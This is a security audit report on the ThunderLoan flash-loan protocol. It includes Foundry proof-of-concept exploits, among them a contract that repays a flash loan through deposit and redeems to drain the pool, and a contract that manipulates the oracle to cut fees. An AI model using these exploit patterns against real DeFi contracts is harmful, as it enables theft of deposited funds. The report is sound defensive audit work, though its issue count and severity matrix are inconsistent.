ThunderLoan Protocol Audit Report

Version 1.0

victor.zsh

February 1, 2025

ThunderLoan Protocol Audit Report

victor.zsh

Feb 1, 2025

Prepared by: victor.zsh Lead Auditors:

- victor.zsh

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The victor.zsh team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact			
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

#– src/interfaces/IFlashLoanReceiver.sol #– src/interfaces/IPoolFactory.sol #– src/interfaces/ITSwapPool.sol #– src/interfaces/IThunderLoan.sol #– src/protocol/AssetToken.sol #– src/protocol/OracleUpgradeable.sol #– src/protocol/ThunderLoan.sol #– src/upgradedProtocol/ThunderLoanUpgraded.sol

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Total	7

Findings

High

[H-1] Erroneus `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7
8      // @audit: HIGH
9  @>  // uint256 calculatedFee = getCalculatedFee(token, amount);
10 @>  // assetToken.updateExchangeRate(calculatedFee);
11
12     token.safeTransferFrom(msg.sender, address(assetToken), amount);
13 }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Code

Place the following into ThunderLoanTest.t.sol:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
        amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended Mitigation: Remove the incorrect updateExchangeRate lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

Description: By calling the deposit function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds.

Impact: This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds.

Proof of concept:

1. Attacker executes a `flashloan`
2. Borrowed funds are deposited into `ThunderLoan` via a malicious contract's `executeOperation` function

3. `Flashloan` check passes due to check vs starting AssetToken Balance being equal to the post deposit amount
4. Attacker is able to call `redeem` on `ThunderLoan` to withdraw the deposited tokens after the flash loan as resolved.

Add the following to ThunderLoanTest.t.sol and run `forge test --mt testUseDepositInsteadOfRepayTo`

Proof of Code

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
     uint256 amountToBorrow = 50e18;
     DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
     uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
     vm.startPrank(user);
     tokenA.mint(address(dor), fee);
     thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
     dor.redeemMoney();
     vm.stopPrank();

     assert(tokenA.balanceOf(address(dor)) > fee);
}

contract DepositOverRepay is IFlashLoanReceiver {
     ThunderLoan thunderLoan;
     AssetToken assetToken;
     IERC20 s_token;

     constructor(address _thunderLoan) {
          thunderLoan = ThunderLoan(_thunderLoan);
     }

     function executeOperation(
          address token,
          uint256 amount,
          uint256 fee,
          address, /*initiator*/
          bytes calldata /*params*/
     )
          external
          returns (bool)
     {
          s_token = IERC20(token);
          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
          s_token.approve(address(thunderLoan), amount + fee);
          thunderLoan.deposit(IERC20(token), amount + fee);
          return true;
     }

```

```
40      function redeemMoney() public {
41          uint256 amount = assetToken.balanceOf(address(this));
42          thunderLoan.redeem(s_token, amount);
43      }
44  }
```

Recommended Mitigation: ThunderLoan could prevent deposits while an AssetToken is currently flash loaning.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2  +    if (s_currentlyFlashLoaning[token]) {
3  +        revert ThunderLoan__CurrentlyFlashLoaning();
4  +    }
5      AssetToken assetToken = s_tokenToAssetToken[token];
6      uint256 exchangeRate = assetToken.getExchangeRate();
7      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
8      emit Deposit(msg.sender, token, amount);
9      assetToken.mint(msg.sender, mintAmount);
10
11     uint256 calculatedFee = getCalculatedFee(token, amount);
12     assetToken.updateExchangeRate(calculatedFee);
13
14     token.safeTransferFrom(msg.sender, address(assetToken), amount);
15 }
```

[H-3] Mixing up variable causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
1      uint256 private s_feePrecision;
2      uint256 private s_flashLoanFee;
```

However, the upgraded contrat `ThunderLoanUpgraded.sol` has them in a different order:

```
1      uint256 private s_flashLoanFee;
2      uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` and `s_feePrecision` variables will have the same value. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

PoC

Place the following into `ThunderLoanTest.t.sol`:

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
    function testeUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("Fee Before: ", feeBeforeUpgrade);
        console2.log("Fee After: ", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-4] Fee are less for non standard ERC20 Token

Description: Within the functions `ThunderLoan::getCalculatedFee` and `ThunderLoanUpgraded::getCalculatedFee`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

Impact: Let's say:

1. user_1 asks a flashloan for 1 ETH.
2. user_2 asks a flashloan for 2000 USDT.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {

        //1 ETH = 1e18 WEI
        //2000 USDT = 2 * 1e9 WEI

        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
            (token))) / s_feePrecision;

        // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
        // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI

        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

        //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
        //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,000000000006
            ETH
    }
```

The fee for the user_2 are much lower then user_1 despite they asks a flashloan for the same value (hypotesis 1 ETH = 2000 USDT).

Recommended Mitigation:

Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.

2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
    1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.
3. The user then repays the first flash loan, and then repays the second flash loan.

```
1      function getPriceInWeth(address token) public view returns (uint256
           ) {
2          address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
               token);
3  @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
       ();
4      }
```

Add the following to ThunderLoanTest.t.sol.

Proof of Code:

```
1  function testOracleManipulation() public {
2      // 1. Setup contracts
3      thunderLoan = new ThunderLoan();
4      tokenA = new ERC20Mock();
5      proxy = new ERC1967Proxy(address(thunderLoan), "");
6      BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
7      // Create a TSwap Dex between WETH/ TokenA and initialize Thunder
           Loan
8      address tswapPool = pf.createPool(address(tokenA));
9      thunderLoan = ThunderLoan(address(proxy));
10     thunderLoan.initialize(address(pf));
11
12     // 2. Fund TSwap
13     vm.startPrank(liquidityProvider);
14     tokenA.mint(liquidityProvider, 100e18);
15     tokenA.approve(address(tswapPool), 100e18);
16     weth.mint(liquidityProvider, 100e18);
17     weth.approve(address(tswapPool), 100e18);
18     BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
           timestamp);
19     vm.stopPrank();
20
21     // 3. Fund ThunderLoan
22     vm.prank(thunderLoan.owner());
23     thunderLoan.setAllowedToken(tokenA, true);
24     vm.startPrank(liquidityProvider);
25     tokenA.mint(liquidityProvider, 100e18);
26     tokenA.approve(address(thunderLoan), 100e18);
27     thunderLoan.deposit(tokenA, 100e18);
28     vm.stopPrank();
29
```

```
30      uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
            );
31      console2.log("Normal Fee is:", normalFeeCost);
32
33      // 4. Execute 2 Flash Loans
34      uint256 amountToBorrow = 50e18;
35      MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
36          address(tswapPool), address(thunderLoan), address(thunderLoan.
                getAssetFromToken(tokenA))
37      );
38
39      vm.startPrank(user);
40      tokenA.mint(address(flr), 100e18);
41      thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); //
            the executeOperation function of flr will
42          // actually call flashloan a second time.
43      vm.stopPrank();
44
45      uint256 attackFee = flr.feeOne() + flr.feeTwo();
46      console2.log("Attack Fee is:", attackFee);
47      assert(attackFee < normalFeeCost);
48  }
49
50  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
51      ThunderLoan thunderLoan;
52      address repayAddress;
53      BuffMockTSwap tswapPool;
54      bool attacked;
55      uint256 public feeOne;
56      uint256 public feeTwo;
57
58      // 1. Swap TokenA borrowed for WETH
59      // 2. Take out a second flash loan to compare fees
60      constructor(address _tswapPool, address _thunderLoan, address
            _repayAddress) {
61          tswapPool = BuffMockTSwap(_tswapPool);
62          thunderLoan = ThunderLoan(_thunderLoan);
63          repayAddress = _repayAddress;
64      }
65
66      function executeOperation(
67          address token,
68          uint256 amount,
69          uint256 fee,
70          address, /*initiator*/
71          bytes calldata /*params*/
72      )
73          external
74          returns (bool)
75      {
76          if (!attacked) {
```

```
77                feeOne = fee;
78                attacked = true;
79                uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                      (50e18, 100e18, 100e18);
80                IERC20(token).approve(address(tswapPool), 50e18);
81                // Tanks the price:
82                tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                      wethBought, block.timestamp);
83                // Second Flash Loan!
84                thunderLoan.flashloan(address(this), IERC20(token), amount,
                       "");
85                // We repay the flash loan via transfer since the repay
                      function won't let us!
86                IERC20(token).transfer(address(repayAddress), amount + fee)
                      ;
87            } else {
88                // calculate the fee and repay
89                feeTwo = fee;
90                // We repay the flash loan via transfer since the repay
                      function won't let us!
91                IERC20(token).transfer(address(repayAddress), amount + fee)
                      ;
92            }
93            return true;
94        }
95    }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens

Description: If the `ThunderLoan::setAllowedToken` function is called with the intention of setting an allowed token to false and thus deleting the assetToken to token mapping; nobody would be able to redeem funds of that token in the `ThunderLoan::redeem` function and thus have them locked away without access.

Impact: If the owner sets an allowed token to false, this deletes the mapping of the asset token to that ERC20. If this is done, and a liquidity provider has already deposited ERC20 tokens of that type, then the liquidity provider will not be able to redeem them in the `ThunderLoan::redeem` function.

Proof of Concept:

The below test passes with a `ThunderLoan__NotAllowedToken` error. Proving that a liquidity provider cannot redeem their deposited tokens if the setAllowedToken is set to false, Locking them out of their tokens.

```
1       function testCannotRedeemNonAllowedTokenAfterDepositingToken()
            public {
2           vm.prank(thunderLoan.owner());
3           AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
                true);
4
5           tokenA.mint(liquidityProvider, AMOUNT);
6           vm.startPrank(liquidityProvider);
7           tokenA.approve(address(thunderLoan), AMOUNT);
8           thunderLoan.deposit(tokenA, AMOUNT);
9           vm.stopPrank();
10
11          vm.prank(thunderLoan.owner());
12          thunderLoan.setAllowedToken(tokenA, false);
13
14          vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
                ThunderLoan__NotAllowedToken.selector, address(tokenA)));
15          vm.startPrank(liquidityProvider);
16          thunderLoan.redeem(tokenA, AMOUNT_LESS);
17          vm.stopPrank();
18      }
```

Recommended Mitigation: It would be suggested to add a check if that assetToken holds any balance of the ERC20, if so, then you cannot remove the mapping.

```
1       function setAllowedToken(IERC20 token, bool allowed) external
            onlyOwner returns (AssetToken) {
2           if (allowed) {
3               if (address(s_tokenToAssetToken[token]) != address(0)) {
4                   revert ThunderLoan__AlreadyAllowed();
5               }
6               string memory name = string.concat("ThunderLoan ",
                    IERC20Metadata(address(token)).name());
7               string memory symbol = string.concat("tl", IERC20Metadata(
                    address(token)).symbol());
8               AssetToken assetToken = new AssetToken(address(this), token
                    , name, symbol);
9               s_tokenToAssetToken[token] = assetToken;
10              emit AllowedTokenSet(token, assetToken, allowed);
11              return assetToken;
12          } else {
13              AssetToken assetToken = s_tokenToAssetToken[token];
14  +           uint256 hasTokenBalance = IERC20(token).balanceOf(address(
        assetToken));
15  +           if (hasTokenBalance == 0) {
16                  delete s_tokenToAssetToken[token];
17                  emit AllowedTokenSet(token, assetToken, allowed);
18  +           }
19              return assetToken;
20          }
```

```
21      }
```

Low

[L-1] `ThunderLoan::getCalculatedFee` can be 0

Description: `ThunderLoan::getCalculatedFee` can be as low as 0.

Proof of Concept: Any value up to 333 for "amount" can result in 0 fee based on calculation.

Paste the following into ThunderLoanTest.t.sol:

```
1       function testFuzzGetCalculatedFee() public {
2           AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
3
4           uint256 calculatedFee = thunderLoan.getCalculatedFee(
5               tokenA,
6               333
7           );
8
9           assertEq(calculatedFee ,0);
10
11          console.log(calculatedFee);
12      }
```

Recommended Mitigation: A minimum fee can be used to offset the calculation, though it is not that important.

[L-2] Mathematic Operations Handled Without Precision in getCalculatedFee() Function in ThunderLoan.sol

Description: The review of the ThunderLoan.sol contract revealed that the mathematical operations in the getCalculatedFee() function do not adequately manage precision. This oversight could result in a loss of accuracy when calculating fees. While this issue is considered low priority, it may still affect the correctness of fee computations.

Impact: This issue is assessed as low impact. While the contract continues to operate correctly, the precision loss during fee calculations could affect the final fee amounts. This discrepancy may result in fees that are marginally different from the expected values.

Proof of Concept:

The identified problem revolves around the handling of mathematical operations in the getCalculated-Fee() function. The code snippet below is the source of concern:

```
uint256 valueOfBorrowedToken = (amount _ getPriceInWeth(address(token))
    ) / s_feePrecision;
fee = (valueOfBorrowedToken _ s_flashLoanFee) / s_feePrecision;
```

The above code, as currently structured, may lead to precision loss during the fee calculation process, potentially causing accumulated fees to be lower than expected.

Recommended Mitigation:

To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the `getCalculatedFee()` function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as math.sol, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.